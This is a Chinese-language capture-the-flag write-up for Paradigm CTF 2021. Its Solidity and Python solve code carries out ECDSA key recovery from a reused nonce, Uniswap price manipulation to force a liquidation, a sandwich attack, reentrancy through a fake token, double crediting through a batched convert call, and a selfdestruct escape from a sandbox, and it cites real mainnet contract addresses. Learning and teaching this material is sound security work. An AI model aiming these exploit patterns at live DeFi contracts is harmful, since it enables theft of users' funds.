Paradigm CTF 2021
Paradigm CTF 2021代码库
完整wp代码仓库
HELLO 送分题,调用solve即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 const { expect } = require("chai"); describe("hello", function() { let attacker; it("should return the solved", async function(){ [attacker] = await ethers.getSigners(); const Setup = await ethers.getContractFactory("Setup",attacker); const setup = await Setup.deploy(); const helloAddr = await setup.hello(); const hello = await ethers.getContractAt("Hello", helloAddr, attacker); await hello.solve(); expect(await setup.isSolved()).to.equal(true); }) } )
SECURE 这句是将setup中的WETH转走,此时balance为0
1 wallet.execModule(tokenModule, abi.encodeWithSelector(TokenModule(0x00).deposit.selector, WETH, address(this), msg.value));
如果Setup
合约有 50 (W)ETH,挑战就解决了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 const { expect } = require("chai"); const { ethers } = require('hardhat'); describe("secure", function() { let attacker,deployer; it("should return the solved", async function(){ [attacker,deployer] = await ethers.getSigners(); const WETH = await ethers.getContractAt("WETH9", "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2", attacker); const Setup = await ethers.getContractFactory("secureSetup",attacker); const setup = await Setup.deploy({ value: ethers.utils.parseEther("50.0") }); expect(await WETH.balanceOf(setup.address)).to.equal(0); await WETH.deposit({ value: ethers.utils.parseEther("50.0") }); //转账 await WETH.transfer(setup.address,setup.WANT()) expect(await setup.isSolved()).to.equal(true); }) } )
BABYCRYPTO 通关要求是验签成功
1 2 3 4 5 if not pub.verifies(test, ecdsa.Signature(r, s)): print ("better luck next time" ) exit(1 )print (flag)
可以发现每一次的r都是相同的
由此可以联想到[capture the ether —— Account Takeover](https://sissice.github.io/2022/04/02/capture the ether wp/)
我们可以利用两个相同的r计算出私钥,再利用私钥对消息进行签名,最后解析出签名中的r和s即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from random import SystemRandomfrom ecdsa import ecdsaimport sha3import binasciifrom typing import Tuple import uuidimport osimport mathdef hash_message (msg: str ) -> int : """ hash the message using keccak256, truncate if necessary """ k = sha3.keccak_256() k.update(msg.encode("utf8" )) d = k.digest() n = int (binascii.hexlify(d), 16 ) olen = ecdsa.generator_secp256k1.order().bit_length() or 1 dlen = len (d) n >>= max (0 , dlen - olen) return ndef modInverse (b,m ): g = math.gcd(b, m) if (g != 1 ): return -1 else : return pow (b, m - 2 , m)def modDivide (a,b,m ): a = a % m inv = modInverse(b,m) if (inv == -1 ): print ("Division not defined" ) else : return (inv*a) % mif __name__ == "__main__" : msg1 = input ("msg1? " ) msg1_hashed = hash_message(msg1) msg2 = input ("msg2? " ) msg2_hashed = hash_message(msg2) r1 = int (input ("r1? " ), 16 ) s1 = int (input ("s1? " ), 16 ) s2 = int (input ("s2? " ), 16 ) g = ecdsa.generator_secp256k1 n = g.order() k = modDivide((msg1_hashed - msg2_hashed), (s1 - s2), n) d = modDivide(((s1 * k) - msg1_hashed), r1, n) test = int (input ("test? " ), 16 ) pub = ecdsa.Public_key(g, g * d) priv = ecdsa.Private_key(pub, d) sig = priv.sign(test, k) print (f"solved r=0x{sig.r:032x} " ) print (f"solved s=0x{sig.s:032x} " )
BROKER 完成挑战的条件是合约broker持有的weth少于5 ether
1 2 3 function isSolved() public view returns (bool) { return weth.balanceOf(address(broker)) < 5 ether; }
而Broker 中的初始余额为 25 WETH 和 500,000 Token
broker中可以转出WETH的函数有两个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function withdraw(uint256 amount) public { deposited[msg.sender] -= amount; require(safeDebt(msg.sender) >= debt[msg.sender], "err: undercollateralized"); weth.transfer(msg.sender, amount); } function liquidate(address user, uint256 amount) public returns (uint256) { require(safeDebt(user) <= debt[user], "err: overcollateralized"); debt[user] -= amount; token.transferFrom(msg.sender, address(this), amount); uint256 collateralValueRepaid = amount / rate(); weth.transfer(msg.sender, collateralValueRepaid); return collateralValueRepaid; }
其中withdraw需要满足safeDebt(msg.sender) >= debt[msg.sender]
liquidate需要满足safeDebt(user) <= debt[user]
safeDebt 由 deposited[user] 和 rate() 决定
1 2 3 4 5 6 7 8 function rate() public view returns (uint256) { (uint112 _reserve0, uint112 _reserve1,) = pair.getReserves(); uint256 _rate = uint256(_reserve0 / _reserve1); return _rate; } function safeDebt(address user) public view returns (uint256) { return deposited[user] * rate() * 2 / 3; }
broker是一家超额抵押贷款银行。以 WETH 作为抵押,提供 Token 作为借贷。当抵押品被认为抵押不足时,该账户可以被清算。正如我们之前提到的,抵押因子将根据 Uniswap 交易对的价格来决定。
攻击思路(生产环境没有足够多的ETH,中可以在一个闪贷中完成攻击):
Deposit
WETH 作为抵押品。
尽可能多的“借”Token,让清算更容易。
在 Uniswap 交易对中购买 Token,提升 Token 价格。
由于 Token 价格上涨,我们使用的账户抵押不足。
清算
账户,偿还适当数量的Token以提取Broker中的WETH。
Uniswap V2 中的swap
UniswapV2Router02.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 pragma solidity 0.8.0; import "./Setup.sol"; interface Router { function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); } contract brokerExploit { uint256 constant DECIMALS = 1 ether; IUniswapV2Pair pair; Broker broker; ERC20Like token; WETH91 weth; brokerSetup setup; Router router = Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //目标是将rate降为0,然后liquidate constructor(brokerSetup _setup) payable { setup = _setup; weth = setup.weth(); weth.deposit{value: msg.value}(); pair = setup.pair(); broker = setup.broker(); token = ERC20Like(address(setup.token())); } function attack() public { weth.approve(address(broker), type(uint256).max); weth.approve(address(router), type(uint256).max); token.approve(address(broker), type(uint256).max); token.approve(address(router), type(uint256).max); uint256 ethToSend = 15 ether; uint256 balanceBefore = weth.balanceOf(address(this)); address[] memory path = new address[](2); path[0] = address(weth); path[1] = address(token); uint256[] memory tokensReceived = router.swapExactTokensForTokens( ethToSend, 1, path, address(this), type(uint256).max ); uint256 tokenReceived = tokensReceived[1]; uint256 receivedCollateral = broker.liquidate(address(setup), tokenReceived); require(weth.balanceOf(address(this)) > balanceBefore); } }
FARMER 要求是Dai的余额小于期望值,且farmer和faucet的COMP余额都为0.
1 2 3 4 5 function isSolved() public view returns (bool) { return COMP.balanceOf(address(faucet)) == 0 && COMP.balanceOf(address(farmer)) == 0 && DAI.balanceOf(address(farmer)) < expectedBalance; }
期望值expectedBalance的定义
1 expectedBalance = DAI.balanceOf(address(farmer)) + farmer.peekYield();
peekYield其实质是Uniswap中,COMP->WETH->DAI的连续两次swap。我们直到SWAP的价格曲线是在 x*y=k 的曲线上移动,故一个简单的思路是在让曲线上的点先向下移动,再进行COMP->WETH->DAI的交换,此时能够换到的DAI的数量就会比peekYield的数量少。即三明治攻击
1 2 3 4 5 6 7 8 9 10 11 function peekYield() public view returns (uint256) { uint256 claimableAmount = IComptroller(comptroller).claimableComp(); address[] memory path = new address[](3); path[0] = address(COMP); path[1] = address(WETH); path[2] = address(dai); uint256[] memory amounts = router.getAmountsOut(claimableAmount, path); return amounts[2]; }
recycle也是进行COMP->WETH->DAI的交换
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function recycle() public returns (uint256) { address[] memory path = new address[](3); path[0] = address(COMP); path[1] = address(WETH); path[2] = address(dai); uint256 bal = COMP.balanceOf(address(this)); COMP.approve(address(router), bal); uint256[] memory amts = router.swapExactTokensForTokens( bal, 0, path, address(this), block.timestamp + 1800 ); return amts[2]; }
所以有以下攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 pragma solidity ^0.8.0; import "./Setup.sol"; contract farmerExploit { ERC20Like public constant dai = ERC20Like(0x6B175474E89094C44Da98b954EedeAC495271d0F); UniRouter public constant router = UniRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); WETH9 public constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); ERC20Like public constant COMP = ERC20Like(0xc00e94Cb662C3520282E6f5717214004A7f26888); CompDaiFarmer public farmer; farmerSetup setup; constructor(farmerSetup _setup) payable { // 将ETH存入WETH,换成WETH WETH.deposit{value: msg.value}(); setup = _setup; farmer = setup.farmer(); WETH.approve(address(farmer), type(uint256).max); WETH.approve(address(router), type(uint256).max); COMP.approve(address(farmer), type(uint256).max); COMP.approve(address(router), type(uint256).max); // 将 WETH 通过 uniswap 交换成dai => 从而向下移动 WETH -> DAI 曲线点 // 事实上交易 Comp -> WETH 对我们来说会更有利可图 // 但我们没有任何 Comp,所以选择 WETH -> DAI address[] memory path = new address[](2); path[0] = address(WETH); path[1] = address(dai); uint256 bal = WETH.balanceOf(address(this)); router.swapExactTokensForTokens( bal, //amountIn 0, //amountOutMin,漏洞点在这里,检查Swap最后得到的Token数量和提供的amountOutMin值的大小关系 path, //path address(this), //to block.timestamp //deadline ); //索赔COMP,使 faucet 的comp数量为0 farmer.claim(); //将COMP交换得到dai,使 farm 的COMP的数量为0,且dai的数量少于expected farmer.recycle(); } }
YIELD_AGGREGATOR 目标是weth余额清零
1 2 3 4 function isSolved() public view returns (bool) { return weth.balanceOf(address(aggregator)) == 0 && weth.balanceOf(address(bank)) == 0; }
解法一 这里的 transferFrom
是一个外部调用,可以利用外部调用实现重入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function deposit(Protocol protocol, address[] memory tokens, uint256[] memory amounts) public { uint256 balanceBefore = protocol.balanceUnderlying(); for (uint256 i= 0; i < tokens.length; i++) { address token = tokens[i]; uint256 amount = amounts[i]; ERC20Like(token).transferFrom(msg.sender, address(this), amount); ERC20Like(token).approve(address(protocol), 0); ERC20Like(token).approve(address(protocol), amount); // reset approval for failed mints try protocol.mint(amount) { } catch { ERC20Like(token).approve(address(protocol), 0); } } uint256 balanceAfter = protocol.balanceUnderlying(); uint256 diff = balanceAfter - balanceBefore; poolTokens[msg.sender] += diff; }
deposit
中不会检查输入的protocol和tokens,并且使用balanceBefore和balanceAfter这种快照模式来计算用户存入金额
利用transferFrom重入有以下流程
deposit fakeToken,数目不限
balanceUnderlying = 50 (setup后的初始值)
fakeToken.transferFrom (已重写)
deposit weth 50
weth.transferFrom 50
balanceUnderlying = 100
diff = 50
poolTokens += diff (第一次)
balanceUnderlying = 100
diff = 50
poolTokens += diff (第二次)
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 contract yieldExploit { yieldSetup setup; YieldAggregator aggregator; WETH92 constant weth = WETH92(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); Protocol protocol; constructor(yieldSetup _setup) payable { require(msg.value == 50 ether); setup = _setup; aggregator = setup.aggregator(); protocol = Protocol(address(setup.bank())); // fund our wallet weth.deposit{value: msg.value}(); weth.approve(address(aggregator), type(uint256).max); weth.approve(address(protocol), type(uint256).max); } function attack() public { address[] memory _tokens = new address[](1); _tokens[0] = address(this); uint256[] memory _amounts = new uint256[](1); _amounts[0] = 100; aggregator.deposit(protocol, _tokens, _amounts); _tokens[0] = address(weth); _amounts[0] = 100 ether; aggregator.withdraw(protocol, _tokens, _amounts); } function transferFrom( address src, address dst, uint256 qty ) external returns (bool) { address[] memory _tokens = new address[](1); _tokens[0] = address(weth); uint256[] memory _amounts = new uint256[](1); _amounts[0] = 50 ether; aggregator.deposit(protocol, _tokens, _amounts); return true; } function approve( address dst, uint256 qty ) external returns (bool) { return true; } }
解法二 自己生成一个新的bank,deposit weth 50,增加poolTokens[attackContract]的值,再withdraw 原bank 50
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 contract ExploitYieldAggregator { WETH92 constant weth = WETH92(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // mainnet constructor(address _bank, address _aggregator) payable { require(msg.value == 50 ether); weth.deposit{value: msg.value}(); weth.approve(_aggregator, type(uint256).max); MiniBank exploitBank = new MiniBank(); address[] memory _tokens = new address[](1); _tokens[0] = address(weth); uint256[] memory _amounts = new uint256[](1); _amounts[0] = 50 ether; YieldAggregator aggregator = YieldAggregator(_aggregator); //此处的_amounts必须大于等于50,否则withdraw时poolTokens[attackContract]会不足 aggregator.deposit(Protocol(address(exploitBank)), _tokens, _amounts); _amounts[0] = 50 ether; aggregator.withdraw(Protocol(_bank), _tokens, _amounts); } }
BOUNCER 要求是清空合约bouncer的余额,初始状态下bouncer余额为50+2 ETH
1 2 3 function isSolved() public view returns (bool) { return address(bouncer).balance == 0; }
只有payout具有transfer功能
1 2 3 4 5 6 7 function payout(ERC20Like token, address to, uint256 amount) private { if (address(token) == ETH) { payable(to).transfer(amount); } else { require(token.transfer(to, amount), "err/not enough tokens"); } }
payout被redeem调用
1 2 3 4 function redeem(ERC20Like token, uint256 amount) public { tokens[msg.sender][address(token)] -= amount; payout(token, msg.sender, amount); }
所以首先要使 tokens[msg.sender][address(token)]
被增加
convert可以达成需求,但是会在proofOfOwnership中检查msg.value == amount
1 2 3 4 5 6 7 8 9 10 function convert(address who, uint256 id) payable public { Entry memory entry = entries[who][id] require (block.timestamp != entry .timestamp, "err/wait after entering" ) if (address(entry .token) != ETH) { require (entry .token.allowance(who, address(this)) == type(uint256).max, "err/must give full approval" ) } require (msg.sender == who || msg.sender == delegates[who]) proofOfOwnership(entry .token, who, entry .amount) tokens[who][address(entry .token)] += entry .amount }
所以选择利用convertMany,支付1份value而使 tokens[who][address(entry.token)]
n倍的增加
1 2 3 4 5 function convertMany(address who, uint256[] memory ids) payable public { for (uint256 i = 0; i < ids.length; i++) { convert(who, ids[i]); } }
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 pragma solidity ^0.8.0; import "./Setup.sol"; contract bouncerExploit { address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; uint256 public constant entryFee = 1 ether; Bouncer bouncer; function attack1(address _bouncer) public payable { bouncer = Bouncer(_bouncer); require(msg.value == entryFee); uint256 amount = entryFee + address(bouncer).balance; bouncer.enter{value: entryFee}(ETH, amount); //此时address(bouncer).balance=52+1 } function attack2() public payable { //amount=53 uint256 amount = address(bouncer).balance; require(msg.value == amount); uint256[] memory ids = new uint256[](2); ids[0] = 0; ids[1] = 0; bouncer.convertMany{value: amount}(address(this), ids); //利用convertMany,使 //address(bouncer).balance=106 //tokens[address(exploit)][address(ETH)]=106 bouncer.redeem(ERC20Like(ETH), address(bouncer).balance); } receive() external payable { } }
BABYSANDBOX 要求部署的BabySandbox合约的代码大小变为 0 ,即销毁他
1 2 3 4 5 6 7 function isSolved() public view returns (bool) { uint size; assembly { size := extcodesize(sload(sandbox.slot)) } return size == 0; }
staticcall 意思是等同于CALL ,除了它不允许任何状态修改指令。因此 SELFDESTRUCT 不允许在 staticcall 期间使用
BabySandbox.run()的内部逻辑
首先会判断msg.sender == address(this)
,即判断是否为合约自身调用。由于我们将会外部调用该合约,故此时的msg.sender
是code合约地址,判断为否。
然后进入staticcall(address(this))
部分,它重进入自己的合约内,再次调用babysandbox.run(code)
方法。
1 2 3 if iszero(staticcall(0x4000, address(), 0, calldatasize(), 0, 0)) { revert(0x00, 0x00) }
此时需注意,由于是重进入,故此时的msg.sender
与address(this)
相等。故经过判定,会进入到delegatecall(code)
的逻辑中。
staticcall(address(this))
通过后,会进入call(address(this))
调用,同样的参数,同样的逻辑过程。
1 switch call(0x4000, address(), 0, 0, calldatasize(), 0, 0)
重进入自己的合约内,再次调用babysandbox.run(code)
方法,进入到delegatecall(code)
的逻辑中
在delegatecall(code)
逻辑中,调用外部合约code的fallback()
方法
因此此时需要在code.fallback()
函数中,不直接返回,而是执行selfdestruct(tx.origin)
来销毁babysandbox合约。
注意,由于delegatecall 不会改变上下文,所以msg.sender和tx.origin都可以使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import "./Setup.sol"; contract Child { Child private immutable self = this; uint8 flag = 1; //试图修改状态,判断是否在staticcall环境中 function check() external { flag += 1; } fallback() external payable { //如果修改状态成功,则说明不在staticcall环境中,可以进行selfdestruct try self.check() { selfdestruct(tx.origin); } catch {} //由于staticcall环境中不能修改状态,因此以下方法不能实现 // bool flag = false; // if(flag) { // selfdestruct(tx.origin); // }else{ // flag = true; // } } } contract babySandboxExploit { constructor(babySandboxSetup setup) { setup.sandbox().run(address(new Child())); } }